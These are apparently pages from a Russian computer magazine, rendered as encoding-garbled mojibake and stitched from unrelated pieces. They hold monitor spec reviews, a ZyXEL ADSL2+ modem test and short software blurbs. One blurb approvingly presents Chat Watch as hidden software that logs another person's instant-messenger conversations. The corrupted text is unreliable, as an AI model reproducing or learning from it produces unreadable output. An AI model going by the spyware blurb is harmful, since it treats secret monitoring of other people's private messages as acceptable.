áðàæåíèÿ, à «Âûáîð ðåäàêöèè» ïîëó÷èë Samsung SyncMaster 214T çà îò-
ëè÷íóþ ôóíêöèîíàëüíîñòü è çàìå÷àòåëüíóþ êàðòèíêó 

BENQ FP202W
($528) 7 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 20.1’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 1680x1050

ßÐÊÎÑÒÜ: 300 êêä/ì2

ÊÎÍÒÐÀÑÒ: 600:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ, ÌÑ: 6 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/ÏÎ ÃÎÐÈ-

ÇÎÍÒÀËÈ): 170x170°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, DDVI-DD

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’92

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: íåò

ÐÀÇÌÅÐÛ: 396.7x 479.6x 169.9 ììì

ÂÅÑ: 5.7 êêã

ïëþñû. Åùå îäèí øèðîêî-
ýêðàííûé ìîíèòîð, íà ýòîò ðàç ïîä-
äåðæèâàþùèé ðàçðåøåíèå
1680*1050. Íåïëîõîå âðåìÿ îòêëèêà
ïèêñåëåé: ôîðìû ïåðåìåùàþùèõñÿ
îáúåêòîâ íå èñêàæåíû, ÷òî âàæíî
äëÿ êà÷åñòâåííîãî îòîáðàæåíèÿ äè-
íàìè÷åñêèõ ñöåí â ôèëüìàõ. ßð-
êîñòü è êîíòðàñòíîñòü íå ñàìûå âû-
ñîêèå â îáçîðå, íî äëÿ îáû÷íîé ðà-
áîòû èõ áóäåò âïîëíå äîñòàòî÷íî, ê
òîìó æå âî âñåõ ÷àñòÿõ ìàòðèöû ýòè
ïàðàìåòðû èìåþò îäèíàêîâîå çíà-
÷åíèå.

ìèíóñû. Âñå êíîïêè óïðàâëå-
íèÿ è ïîäïèñè ê íèì ðàñïîëîæåíû
íà ïðàâîì òîðöå ìîíèòîðà, ÷òî ñîç-

äàåò áîëüøèå ïðîáëåìû äëÿ íàâèãà-
öèè. ×òîáû óçíàòü íàçíà÷åíèå òîé
èëè èíîé êíîïêè, òåáå íè÷åãî íå
îñòàíåòñÿ, êàê çàãëÿäûâàòü çà ìîíè-
òîð. Ê òîìó æå âñå èêîíêè íèêàê íå
âûäåëåíû öâåòîì (ýòî ïðîñòî êàíà-
âêè, âûäàâëåííûå â êîðïóñå), òàê
÷òî ðàçëè÷èòü èõ â óñëîâèÿõ ñëàáîãî
îñâåùåíèÿ ïðàêòè÷åñêè íåâîçìîæ-
íî. Ñàìàÿ ñëàáàÿ â îáçîðå öâåòîïå-

ðåäà÷à: âñå òðè ãðàôèêà ñèëüíî ðàñ-
õîäÿòñÿ ìåæäó ñîáîé, èìåþò ñåðüåç-
íûå ïåðåïàäû â êîíöå è íà÷àëå äè-
àïàçîíà, à â ñåðåäèíå âèäíû çàìåò-
íûå èñêðèâëåíèÿ. Ïðè èçìåíåíèè
ðàçðåøåíèÿ ýêðàíà ìîæåò íåêîð-
ðåêòíî ñðàáîòàòü àâòîìàòè÷åñêàÿ
íàñòðîéêà, è èçîáðàæåíèå ñìåùàåò-
ñÿ ïðèìåðíî íà ïÿòü ñàíòèìåòðîâ
âëåâî.

ACER AT2001
($590) 7 áàëëîâ

ÐÀÇÌÅÐ ÝÊÐÀÍÀ (ÂÈÄÈÌÛÉ): 20.1’

ÌÀÊÑÈÌÀËÜÍÎÅ ÐÀÇÐÅØÅÍÈÅ: 800x 600

ßÐÊÎÑÒÜ: 450 êêä/ì2

ÊÎÍÒÐÀÑÒ: 500:1

ËÀÒÅÍÒÍÎÑÒÜ ÌÀÒÐÈÖÛ: 16 ììñ

ÓÃÎË ÇÐÅÍÈß (ÏÎ ÂÅÐÒÈÊÀËÈ/ÏÎ ÃÎÐÈ-

ÇÎÍÒÀËÈ): 160/120°

ÈÍÒÅÐÔÅÉÑÛ: D-SSUB, RRCA, SS-VVIDEO, TTV,

SCART

ÑÒÀÍÄÀÐÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ: TCO’03

ÌÎÙÍÎÑÒÜ ÄÈÍÀÌÈÊÎÂ: 2x3 ââò

ÐÀÇÌÅÐÛ: 495.9x 468.2x198.4 ììì

ÂÅÑ: 7.8 êêã

ïëþñû. Ýòî íå ïðîñòî ìîíèòîð,
à öåëûé ðàçâëåêàòåëüíûé öåíòð! Ê
íåìó ìîæíî ïîäêëþ÷àòü íå òîëüêî
êîìïüþòåð, íî è ïðàêòè÷åñêè ëþáóþ
âèäåîòåõíèêó ïîñðåäñòâîì ðàçúå-
ìîâ RCA, S-VIDEO, SCART. Åñòü
âñòðîåííûé ÒÂ-òþíåð, êîòîðûé îêà-
çàëñÿ äîñòàòî÷íî ÷óâñòâèòåëüíûì, à
ïîòîìó ïîéìàë âñå îñíîâíûå êàíà-
ëû. Â êîðïóñå èìåþòñÿ êîëîíêè, êà-
÷åñòâî êîòîðûõ ñðàâíèìî ñ àíàëî-
ãè÷íûìè â îáû÷íîì òåëåâèçîðå.
Î÷åíü øèðîêèå äèàïàçîíû èçìåíå-

íèÿ ÿðêîñòè è êîíòðàñòíîñòè. Â êîì-
ïëåêò ïîñòàâêè âõîäèò ïóëüò äèñòàí-
öèîííîãî óïðàâëåíèÿ.

ìèíóñû. Ðàçðåøåíèå ýêðàíà
âñåãî ëèøü 800x600, ÷òî ïî ñîâðå-
ìåííûì ïàðàìåòðàì î÷åíü íåâåëèêî,
òàê ÷òî èñïîëüçîâàòü ACER AT2001 â
êà÷åñòâå ìîíèòîðà âåñüìà íåóäîáíî.
Öâåòîïåðåäà÷à íå ñàìàÿ ëó÷øàÿ,
îñîáåííî ïî ñðàâíåíèþ ñ êîíêóðåí-
òàìè: íà äèàãðàììå âèäíî, ÷òî âñå
òðè ëèíèè ñóùåñòâåííî ðàñõîäÿòñÿ.
Ëàòåíòíîñòü ìàòðèöû òàêæå îñòàâëÿ-
åò æåëàòü ëó÷øåãî — çà ïåðåìåùàþ-
ùèìèñÿ îáúåêòàìè âèäåí çàìåòíûé
øëåéô. ÒÂ-òþíåð ïëîõî «ëîâèò» çâóê
— îí ïîëó÷àåòñÿ ñ çàìåòíûìè ïîìå-
õàìè â âèäå ðàâíîìåðíîãî ïîòðåñêè-
âàíèÿ. Ñëàáîïîäâèæíûé ýêðàí: ïîâî-
ðà÷èâàòü åãî ìîæíî òîëüêî ââåðõ-
âíèç. Ìàëåíüêèå óãëû îáçîðà, ïðè-
÷åì êàê âåðòèêàëüíûå, òàê è ãîðèçîí-
òàëüíûå, ÷òî îñîáåííî íåïðèÿòíî ïðè
èñïîëüçîâàíèè ACER AT2001 â êà÷å-
ñòâå òåëåâèçîðà. Ê ñîæàëåíèþ, îò-
ñóòñòâóåò öèôðîâîé âõîä. Ðàçúåì
äëÿ íàóøíèêîâ ðàñïîëîæåí íà çà-
äíåé ïàíåëè, òàì æå, ãäå è âñå äðó-
ãèå èíòåðôåéñû, ÷òî íåñêîëüêî
îñëîæíÿåò ïîäêëþ÷åíèå.
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Òåáå íåîáõîäèìî ñòàáèëüíîå ïîä-
êëþ÷åíèå ê èíòåðíåòó è âûñîêàÿ
ñêîðîñòü? Ìåñòíûå ëîêàëüíûå ñåòè
òðåáóþò äåíåã çà ïðîòÿæêó êàáåëÿ, 
à ïîëüçîâàòåëè æàëóþòñÿ íà êà÷å-
ñòâî ñâÿçè? Ïîäêëþ÷àéñÿ ê Ñåòè ïî-
ñðåäñòâîì ADSL-ìîäåìà è îöåíè
ñêîðîñòü äîñòóïà ê èíòåðíåòó.

Êîíêóðåíöèÿ íà ðûíêå òåëå-
êîììóíèêàöèé, è, â ÷àñòíîñòè, 
â ñôåðå ïðåäîñòàâëåíèÿ óñëóã ñâÿçè 
ñ ãëîáàëüíîé Ñåòüþ, ñòàíîâèòñÿ âñå
áîëåå æåñòêîé. Åñëè íåêîòîðîå âðå-
ìÿ íàçàä ïîäêëþ÷åíèå ê èíòåðíåòó â
îñíîâíîì îñóùåñòâëÿëîñü ïî Dial-Up
ìîäåìó, òî òåïåðü âñå ÷àùå ïîÿâëÿ-
åòñÿ âûáîð ìåæäó ðàéîííîé LAN 
è ìåäíîé ïàðîé ñ ìîäåìîì ADSL.
Ôèðìà ZyXEL, èçâåñòíàÿ ñâîèìè êà-
÷åñòâåííûìè äåâàéñàìè, âûïóñòèëà
ìîäåëü, êîòîðàÿ ñïîñîáíà ïîðàäî-
âàòü íå òîëüêî âëàäåëüöà ñêðîìíîãî
êîìïüþòåðà, íî äàæå îáëàäàòåëÿ
íåáîëüøîãî ïàðêà ìàøèí.

÷òî îîí ììîæåò? Ìàëåíüêàÿ ÷åð-
íàÿ êîðîáî÷êà (íå áîëüøå ïåïåëüíè-
öû) è åñòü íîâûé ìîäåì. Ïîääåðæêà
òåõíîëîãèè ADSL2+ îñòàâëÿåò íå-
ïëîõîé çàäåë íà áóäóùåå, è òû ñìî-
æåøü ñïîêîéíî ïåðåæèòü ïåðåõîä
íà áîëåå âûñîêèå ñêîðîñòè, êîãäà
ïðîâàéäåð íà÷íåò ïðåäîñòàâëÿòü òà-
êèå òàðèôû. Íà çàäíåé ïàíåëè ðàç-
ìåñòèëèñü âûõîäû ïèòàíèÿ, 1 ïîðò
USB, 1 ïîðò RJ-45 Ethernet è òåëå-
ôîííîé ïàðû. Â êîìïëåêò âêëþ÷åíû
âñå íåîáõîäèìûå êàáåëè è àäàïòå-
ðû. Ïîäêëþ÷èòü ìîäåì ê êîìïüþòå-
ðó òû ìîæåøü ÷åðåç USB — â ýòîì
ñëó÷àå ó òåáÿ ïîÿâèòñÿ íîâîå ñåòå-
âîå óñòðîéñòâî. Îäíàêî íè÷åãî íå
ìåøàåò òåáå ïîäñîåäèíèòü åãî ê ñå-

òåâîé êàðòå ñâîåãî êîìïüþòåðà. Áî-
ëåå òîãî, åñëè ó òåáÿ óæå åñòü íåñ-
êîëüêî êîìïüþòåðîâ, îáúåäèíåííûõ
â ëîêàëüíóþ ñåòü, òû ìîæåøü ïðî-
ñòî âîòêíóòü ñåòåâîé øíóð â ìîäåì,
è âñòðîåííûé ñåðâåð DHCP ñàì ïðî-
ïèøåò âñå íåîáõîäèìûå íàñòðîéêè.
Íóæíî òîëüêî íàñòðîèòü ñàì ìîäåì
(õîòÿ áû ââåñòè ëîãèí è ïàðîëü).
Óïðàâëåíèå î÷åíü ïðîñòîå: òû ââî-
äèøü IP äåâàéñà â áðàóçåðå è ïîïà-
äàåøü íà ñòðàíèöó íàñòðîéêè ìîäå-
ìà. Âñå ìåíþ — íà àíãëèéñêîì
(åñòü ñïèñîê, âêëþ÷àþùèé íåñêîëü-
êî åâðîïåéñêèõ ÿçûêîâ, ñðåäè êîòî-
ðûõ íåò ðóññêîãî). Ïîìèìî íåïî-
ñðåäñòâåííûõ ôóíêöèé ìîäåìà, Zy-
XEL P-660RU EE èìååò ïàêåòíûé
ôèëüòð, óìååò òðàíñëèðîâàòü ñåòå-
âûå àäðåñà (NAT) è ñëóæèò ìàðøðó-
òèçàòîðîì.

çà÷åì ýýòî ííóæíî. Åñëè òû óæå
ïîäêëþ÷èëñÿ ê èíòåðíåòó ïî ADSL, è
òåáå âûäàëè ìàëåíüêèé USB-ìîäåì,
òî íàâåðíÿêà ïîñëå êàæäîé ïåðåçà-
ãðóçêè êîìïüþòåðà òû ñèäèøü è
æäåøü, êîãäà æå óñòàíîâèòñÿ ñîåäè-
íåíèå. ZyXEL P-660RU EE ïîäêëþ-
÷åí ê Ñåòè ïîñòîÿííî, è òåáå
íåîáõîäèìî ëèøü óñòàíîâèòü ñîåäè-
íåíèå ñ ñàìèì äåâàéñîì, ÷òî çàéìåò
äîëè ñåêóíäû. À åñëè ó òåáÿ íåáîëü-
øîé îôèñ (áîëåå äâóõ êîìïüþòå-
ðîâ), è òû ïîäêëþ÷åí ïî ìåäíîé ïà-
ðå, âñå ñîåäèíåíèÿ áóäóò îñóùåñò-
âëÿòüñÿ ÷åðåç îäèí êîìïüþòåð, òî
åñòü íåîáõîäèìî áóäåò âûäåëèòü
ñåðâåð. Äðóãèì âàðèàíòîì èñïîëü-
çîâàíèÿ ìîæåò áûòü îäíîâðåìåííîå
íàõîæäåíèå â Ñåòè è ïðîñìîòð öè-
ôðîâîãî òåëåâèäåíèÿ, íàïðèìåð,
ÑòðèìÒÂ.

êàê ââñå ððàáîòàåò. Ïîäêëþ÷å-
íèå ìîäåìà íå âûçûâàåò ïðîáëåì.
Äëèíû âñåõ ïðîâîäîâ õâàòèò, ÷òîáû
ïîñòàâèòü åãî ãäå-íèáóäü íà ïîëî÷êå
â ìåòðå îò êîìïüþòåðà. Äàæå åñëè
ñåòåâàÿ êàðòà çàíÿòà, è ìîäåì ïðè-
õîäèòñÿ ïîäêëþ÷àòü ïî USB, óñòà-
íîâêà äðàéâåðîâ (íåîáõîäèìàÿ òîëü-
êî â ñëó÷àå USB-ïîäêëþ÷åíèÿ), çàé-
ìåò íå áîëüøå ìèíóòû — ðóêîâîä-
ñòâî ïîëüçîâàòåëÿ íàïèñàíî íà ðóñ-
ñêîì ÿçûêå. Íàñòðîéêà ZyXEL P-
660RU EE îòíèìåò íåìíîãî âðåìåíè,
è åñëè òåáå íå íóæíî íè÷åãî, êðîìå
ïîäêëþ÷åíèÿ ê Ñåòè — ïðîñòî ââåäè
ëîãèí è ïàðîëü â íóæíîé ñòðîêå. Ó÷-
òè, ÷òî âî âðåìÿ ðàáîòû óñòðîéñòâî
íàãðåâàåòñÿ, ïîýòîìó íå ñëåäóåò íà-

êðûâàòü åãî ïëåäîì èëè çàáðàñû-
âàòü äèñêàìè. Ïîñëå âêëþ÷åíèÿ ìî-
äåìà íà óñòàíîâëåíèå ñâÿçè ñ îáîðó-
äîâàíèåì ïðîâàéäåðà íåîáõîäèìî
ìåíüøå ìèíóòû, à ýòî áûñòðåå, ÷åì
çàãðóçèòñÿ òâîé êîìïüþòåð.

âûâîä. Âîçìîæíîñòè ZyXEL 
P-660RU EE î÷åíü ïîðàäîâàëè, 
à ïðîñòîòà íàñòðîéêè è ôóíêöèî-
íàëüíîñòü ïðèãîäÿòñÿ ïðè ïîäêëþ-
÷åíèè öåëîé ëîêàëüíîé ñåòè. 
Ñîåäèíåíèå ñòàáèëüíîå äàæå 
â ñòàðûõ äîìàõ, ãäå çàìåíà òåëå-
ôîííûõ êàáåëåé íå îñóùåñòâëÿ-
ëàñü. Åäèíñòâåííûì ìèíóñîì îêà-
çàëñÿ çàìåòíûé íàãðåâ ìîäåìà, ïî-
ýòîìó íåîáõîäèìî ñëåäèòü 
çà âåíòèëÿöèåé 

hard
ÒÅÑÒÈÐÓÅÌ ZYXEL P-660RU EE
À Ë Å Ê Ñ Å É  Ø Ó Â À Å Â

òåõíè÷åñêèå õõàðàêòåðèñòèêè:
ÈÍÒÅÐÔÅÉÑ Ñ ÊÎÌÏÜÞÒÅÐÎÌ: Ethernet, UUSB 22.0

ÑÒÀÍÄÀÐÒ: ADSL2+

ÑÊÎÐÎÑÒÜ ÏÅÐÅÄÀ×È ÄÀÍÍÛÕ: äî 224 ÌÌáèò/ñåê

ÏÈÒÀÍÈÅ: àäàïòåð 2220Â

ÓÄÀËÅÍÍÎÅ ÀÄÌÈÍÈÑÒÐÈÐÎÂÀÍÈÅ: web-ááðàóçåð, ttelnet

ÏÎÄÄÅÐÆÊÀ DHCP: åñòü

çóõåëü, êîííåêò!

Test_lab ââûðàæàåò ááëàãîäàðíîñòü ççà ïïðåäîñòàâëåííîå ííà òòåñòèðîâàíèå îîáîðóäîâàíèå 
ZyXEL Communications Corporation

ADSL (ASYMMETRIC DIGITAL SUBSCRIBER LINE) —
«ÀÑÈÌÌÅÒÐÈ×ÍÀß ÖÈÔÐÎÂÀß ÀÁÎÍÅÍÒÑÊÀß ËÈÍÈß»
ÎÁÎÇÍÀ×ÀÅÒ ÐÀÇÍÛÅ ÑÊÎÐÎÑÒÈ ÏÎÒÎÊÎÂ ÄÀÍÍÛÕ 
ÎÒ ÀÁÎÍÅÍÒÀ Ê ÏÐÎÂÀÉÄÅÐÓ. ÀÑÈÌÌÅÒÐÈ×ÍÎÑÒÜ ÏÎÇÂÎËßÅÒ
ÏÅÐÅÄÀÂÀÒÜ ÁÎËÜØÈÅ ÏÎÒÎÊÈ ÄÀÍÍÛÕ ÎÒ ÏÐÎÂÀÉÄÅÐÀ 
Ê ÀÁÎÍÅÍÒÓ (ÍÀÏÐÈÌÅÐ, ÂÈÄÅÎ) È ÍÅÁÎËÜØÈÅ ÎÒ ÀÁÎÍÅÍÒÀ
(Â ÎÑÍÎÂÍÎÌ, ÇÀÏÐÎÑÛ).

ADSL: DOWNLOAD — ÄÎ 8 ÌÁÈÒ/Ñ, UPLOAD — ÄÎ 1 ÌÁÈÒ/Ñ.
ADSL2+: DOWNLOAD — ÄÎ 24 ÌÁÈÒ/Ñ, UPLOAD — ÄÎ 2 ÌÁÈÒ/Ñ.

ÒÅÕÍÎËÎÃÈß ADSL, ÇÀ Ñ×ÅÒ ×ÀÑÒÎÒÍÎÃÎ ÐÀÇÄÅËÅÍÈß
ÊÀÍÀËÎÂ, ÏÎÇÂÎËßÅÒ ÎÄÍÎÂÐÅÌÅÍÍÎ ÏÎËÜÇÎÂÀÒÜÑß
ÈÍÒÅÐÍÅÒÎÌ È ÃÎÂÎÐÈÒÜ ÏÎ ÒÅËÅÔÎÍÓ. ÄËß ÐÀÁÎÒÛ 
ADSL2+ ÎÁÎÐÓÄÎÂÀÍÈÅ ÏÐÎÂÀÉÄÅÐÀ ÄÎËÆÍÎ 
ÏÎÄÄÅÐÆÈÂÀÒÜ ÝÒÓ ÒÅÕÍÎËÎÃÈÞ.



Chat Watch v4.4.5
Óòèëèòà, ñïîñîáíàÿ âçÿòü ÷óæîé èíòåðíåò-ïåéäæåð ïîä
ñâîé ïîëíûé êîíòðîëü. Chat Watch — oäíà èç íåìíîãèõ
ïðîãðàìì, êîòîðûì òàêàÿ ðàáîòà âïîëíå ïî ïëå÷ó. Òàêæå
êàê è WebMail Spy, îíà íå àôèøèðóåò ñâîåãî ïðèñóòñòâèÿ
íà êîìïüþòåðå ïîëüçîâàòåëÿ, õîòÿ êàæäûé ðàç ñòàðàòåëü-
íî çàãðóæàåòñÿ âìåñòå ñ îïåðàöèîííîé ñèñòåìîé. Ïðè ýòîì óñåðäíîå ïðîòîêîëèðîâàíèå âñåõ ïîëó-
÷åííûõ è îòïðàâëåííûõ þçåðîì ñîîáùåíèé ÿâëÿåòñÿ äëÿ Chat Watch ãëàâíîé öåëüþ ñóùåñòâîâà-
íèÿ. Êîíòðîëþ ñî ñòîðîíû ïðîãðàììû ïîääàåòñÿ íå òîëüêî àñüêà, íî è òàêèå ñèñòåìû îíëàéíîâîãî
îáùåíèÿ, êàê AOL Instant Messenger, MSN Messenger è Yahoo Messenger.

Òðåáîâàíèå ó Chat Watch ëèøü îäíî — ó ïîëüçîâàòåëÿ äîëæåí áûòü óñòàíîâëåí îðèãèíàëü-
íûé êëèåíò, êëîíû ïðîãðàììå ïîêà íå ïî çóáàì. Îñîáåííî ïîíðàâèëîñü òî, ÷òî ïðîãðàììà íå ñâà-
ëèâàåò âñå ïåðåõâà÷åííûå ñîîáùåíèÿ â îäèí ôàéë, à ñîõðàíÿåò êàæäóþ áåñåäó îòäåëüíî. Ïðè÷åì 
â æóðíàëå íàáëþäåíèÿ äåëàåòñÿ ÷åòêàÿ îòìåòêà î òîì, êòî, êîãäà è ñ êåì ãîâîðèë. Çàïèñü ëþáîé èç
áåñåä ìîæíî ïðîñìîòðåòü ïðÿìî â îêíå Chat Watch (ðóññêèé òåêñò îòîáðàæàåòñÿ ïðàâèëüíî), ñêè-
íóòü â òåêñòîâûé ôàéë èëè îòïðàâèòü ïî ýëåêòðîííîé ïî÷òå.
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McFunSoft Video Con-
vert Master 6.3
Ïðîãðàììà äëÿ êîíâåðòàöèè, ðàç-
ðåçàíèÿ è ñêëåèâàíèÿ AVI, MPEG,
MPEG 1, MPEG 2, MPEG 4, VCD,
DVD, SVCD, RMVB, RM, WMV,
MOV, DIVX è äðóãèõ ìåäèà-ôàé-
ëîâ. Ïðîãðàììà òàêæå ïðåäíàç-
íà÷åíà äëÿ óëó÷øåíèÿ êà÷åñòâà
âèäåî íà äîìàøíåì ÏÊ èëè ÒÂ.
Ïðîãðàììà èìååò äðóæåëþáíûé
èíòåðôåéñ, ïîýòîìó ðàáîòàòü ñ
íåé ìîæåò äàæå íà÷èíàþùèé
ïîëüçîâàòåëü ÏÊ. Îñíîâíûå âîç-
ìîæíîñòè:

— ÇÀÏÈÑÜ ÂÈÄÅÎ ÍÀ
DVD/VCD/SVCD;

— ÏÐÅÎÁÐÀÇÎÂÀÍÈÅ AVI,
DVD, VCD, SVCD, MPEG,
MPEG 1, MPEG 2, MPEG 4,
RM, RMVB, WMV È ÄÐÓÃÈÕ
ÂÈÄÅÎ-ÔÎÐÌÀÒÎÂ;

— ÊÎÍÂÅÐÒÀÖÈß ÔÈËÜÌÎÂ
Â ÏÀÊÅÒÍÎÌ ÐÅÆÈÌÅ;

— ÏÐÅÄÏÐÎÑÌÎÒÐ ÏÐÈ
ÊÎÍÂÅÐÒÀÖÈÈ.

ÍÀÈÑÂÅÆÀÉØÈÅ ÏÐÎÃÐÀÌÌÛ ÎÒ NNM.RU
D O C @ N N M . R U

noname

HDD Regenerator v1.51
Ïðîãðàììà äëÿ âîññòàíîâëåíèÿ æåñòêèõ
äèñêîâ — óìååò âîññòàíàâëèâàòü ïëîõèå
ñåêòîðû. Ïðèíöèï ðàáîòû — ïðèìåíåíèå
ñïåöèàëüíîãî àëãîðèòìà ïåðåìàãíè÷èâà-
íèÿ íå÷èòàåìîãî ñåêòîðà, ïîçâîëÿþùåãî
âî ìíîãèõ ñëó÷àÿõ âîññòàíîâèòü åãî. Äëÿ ýòîãî èñïîëüçóåò-
ñÿ ñïåöèàëüíàÿ çàãðóçî÷íàÿ äèñêåòà, ñîçäàþùàÿñÿ ïîñëå
çàïóñêà ïðîãðàììû. Â äåìîðåæèìå íàõîäèò è ïûòàåòñÿ âîñ-
ñòàíîâèòü òîëüêî ïåðâûé bad sector èç èìåþùèõñÿ íà æå-
ñòêîì äèñêå.

Ïðîãðàììà èãíîðèðóåò ôàéëîâóþ ñèñòåìó, ïðîñìàòðè-
âàÿ äèñê íà ôèçè÷åñêîì óðîâíå. Îíà ìîæåò èñïîëüçîâàòüñÿ
ñ FAT, NTFS èëè ëþáîé äðóãîé ôàéëîâîé ñèñòåìîé, è òàêæå
ñ íåôîðìàòèðóåìûìè èëè íåðàçáèòûìè äèñêàìè. Äàåò âîç-
ìîæíîñòü äåëàòü çàãðóçî÷íûå äèñêåòû è äèñêè äëÿ âîññòà-
íîâëåíèÿ èç-ïîä DîS’à.

Sunbelt Network 
Security Inspector v1.6.57.0
Ïðîãðàììà îò èçâåñòíîãî ïðîèçâîäèòåëÿ äëÿ ñêàíèðîâàíèÿ
óÿçâèìîñòåé ñåòè, èñïîëüçóþùàÿ áàçó äàííûõ ñ áîëåå 3000
ìóëüòèïëàòôîðìåííûõ óÿçâèìîñòåé. Network Security Inspec-
tor ìîæåò ñêàíèðîâàòü Windows-êîìïüþòåðû, IP-äèàïàçîí,
ïîðòû, ìàøèíû ïîä óïðàâëåíèåì Windows, MacOSX, Unix,
Linux è äðóãèå òèïû óñòðîéñòâ.

Ïðîãðàììà ôîðìèðóåò îò÷åò
î ïðèîðèòåòíûõ óÿçâèìîñòÿõ ñ ýê-
ñïîðòíûìè îïöèÿìè. Ïðîãðàììà
ïðåäîñòàâëÿåò òåáå äåòàëüíûå 
è ïîíÿòíûå èíñòðóêöèè ïî óñòðàíå-
íèþ îáíàðóæåííûõ óÿçâèìîñòåé.
Îò÷åòû ðàçáèòû íà êàòåãîðèè äëÿ
áîëåå óäîáíîãî èñïîëüçîâàíèÿ, 
è òû ìîæåøü ýêñïîðòèðîâàòü 
èõ â òàêèå ôîðìàòû êàê pdf, xls,
doc, html, xml è DB. Ñòîèìîñòü
$1,495.00, íî ýòî íå ïðîáëåìà 
äëÿ íàñ, îëèãàðõîâ :).



AVG Free 
Edition 7.1.405
Àíòèâèðóñ âêëþ÷àåò â ñåáÿ
ñëåäóþùèå êîìïîíåíòû:
ñêàíåð, ìîíèòîð, ñêàíåð
ýëåêòðîííîé ïî÷òû, ñèñòåìó
àâòîìàòè÷åñêîãî îáíîâëåíèÿ àíòèâèðóñíîé áà-
çû ÷åðåç èíòåðíåò. Ïðîãðàììà ìîæåò êàê íà-
õîäèòü, òàê è ëå÷èòü çàðàæåííûå âèðóñàìè
ôàéëû. Äëÿ áåçîïàñíîãî õðàíåíèÿ è ëå÷åíèÿ
çàðàæåííûõ ôàéëîâ â ýòîé àíòèâèðóñíîé ïðî-
ãðàììå ðåàëèçîâàíà ôóíêöèÿ Âèðóñíîãî õðà-
íèëèùà, â êîòîðîì è ïðîèñõîäÿò âñå îïåðàöèè
ñ çàðàæåííûìè âèðóñàìè ôàéëàìè. Ýòîò àíòè-
âèðóñ óìååò ñîâìåñòíî ðàáîòàòü ñ ôàéðâîëà-
ìè ñòîðîííèõ ïðîèçâîäèòåëåé (ïîääåðæèâàåò-
ñÿ ðàáîòà ñ Kerio Personal, Zone Alarm Pro è
ôàéðâîëîì, âñòðîåííûì â Windows XP), ÷òî
ïîçâîëÿåò íàäåæíî çàùèòèòü êîìïüþòåð îò
ðàçëè÷íûõ èíòåðíåò-óãðîç è âèðóñíûõ àòàê.

NeuroSolutions v5.03 
Developer Edition
Óíèâåðñàëüíûé íåéðîïàêåò NeuroSolutions
ôèðìû NeuroDimension, Inc ïðåäíàçíà÷åí
äëÿ ìîäåëèðîâàíèÿ øèðîêîãî êðóãà èñêóñ-
ñòâåííûõ íåéðîííûõ ñåòåé. Îñíîâíîå äîñòî-
èíñòâî îïèñûâàåìîãî íåéðîïàêåòà ñîñòîèò â

åãî ãèáêîñòè: ïîìèìî òðàäèöèîííî èñïîëüçóåìûõ íåéðîñå-
òåâûõ ïàðàäèãì (òèïà ïîëíîñâÿçíûõ ìíîãîñëîéíûõ íåéðîí-
íûõ ñåòåé èëè ñàìîîðãàíèçóþùèõñÿ ïîëåé Êîõîíåíà), íåé-
ðîïàêåò âêëþ÷àåò â ñåáÿ ìîùíåéøèé ðåäàêòîð âèçóàëüíîãî
ïðîåêòèðîâàíèÿ íåéðîííîé ñåòè, ïîçâîëÿþùèé ñîçäàâàòü
ïðàêòè÷åñêè ëþáûå ñîáñòâåííûå íåéðîííûå ñòðóêòóðû è,
÷òî íåìàëîâàæíî, ñîáñòâåííûå àëãîðèòìû èõ îáó÷åíèÿ.

Secure iNet Factoy
v5.8 for Java
Secure iNet Factory — ýòî íà-
áîð êîìïîíåíòîâ Java äëÿ
ðàçðàáîòêè áåçîïàñíûõ ñåòå-
âûõ ïðèëîæåíèé. Âêëþ÷àåò
êëàññû SSH äëÿ áîëüøèíñòâà
ñåòåâûõ ïðîòîêîëîâ, â òîì
÷èñëå FTP, SMTP, POP3,
IMAP, HTTP, Telnet è äðóãèå.

Ñ ïîìîùüþ êëàññîâ è êîìïîíåíòîâ äàííîãî ïàêåòà òû
ñìîæåøü ñîçäàâàòü ÏÎ ñ ïîääåðæêîé øèôðîâàíèÿ è àó-
òåíòèôèêàöèè ëåãêî è ïðîñòî, ïðÿìî «èç êîðîáêè». Ïðà-
âäà, äëÿ òîãî ÷òîáû ðàçîáðàòüñÿ, êàê âñå ðàáîòàåò, íóæíî
áûòü ïî÷òè ïðîôåññèîíàëîì.

Amor SWF to Video 
Converter 2.3.8
Amor SWF to Video Converter — ïðî-
ãðàììà äëÿ êîíâåðòàöèè ôàéëîâ
SWF Macromedia Flash â âèäåîôîð-
ìàòû AVI, MPEG, VCD, SVCD è DVD.
Ïîääåðæèâàåò ïàêåòíóþ êîíâåðòà-
öèþ ôàéëîâ, ïðèñîåäèíåíèå ôðàã-
ìåíòîâ ê óæå ñóùåñòâóþùèì âèäåî-
ôàéëàì.

Êðîìå ýòîãî, Amor SWF to Vi-
deo Converter ïîçâîëÿåò èçâëåêàòü
çâóê èç SWF ôàéëîâ â ìóëüòèìåäèé-
íûå ôàéëû MP3 è WAV, à òàêæå ñîõ-
ðàíÿòü ôðàãìåíòû èçîáðàæåíèÿ 
â JPEG-ôàéëû.

Fresh Diagnose v7.38
Âûøëà íîâàÿ âåðñèÿ óòèëèòû èç èç-
âåñòíîãî ñåìåéñòâà áåñïëàòíûõ ïðî-
ãðàìì Fresh Devices. Ïðåäíàçíà÷åíèå
Fresh Diagnose — àíàëèç è òåñòèðîâà-
íèå ñèñòåìû. Ïîñëå ñêàíèðîâàíèÿ ïðî-
ãðàììà âûäàñò ïîëíóþ èíôîðìàöèþ î
ïåðèôåðèéíûõ óñòðîéñòâàõ, ñåòè, ïðî-
ãðàììíîì îáåñïå÷åíèè.

Fresh Diagnose ìîæåò òåñòèðîâàòü ïðàêòè÷åñêè âñå «æåëåçíûå» êîìïîíåíòû
êîìïüþòåðà — ïðîöåññîð, âèí÷åñòåð, âèäåîêàðòó, ìàòåðèíñêóþ ïëàòó è ïð. Êðîìå ýòî-
ãî, Fresh Diagnose ìîæåò ñðàâíèòü âàøó ñèñòåìó ñ äðóãèìè. Â ýòîé âåðñèè ïîÿâèëñÿ
ìîäóëü ó÷åòíûõ çàïèñåé ýëåêòðîííîé ïî÷òû.

php2exe
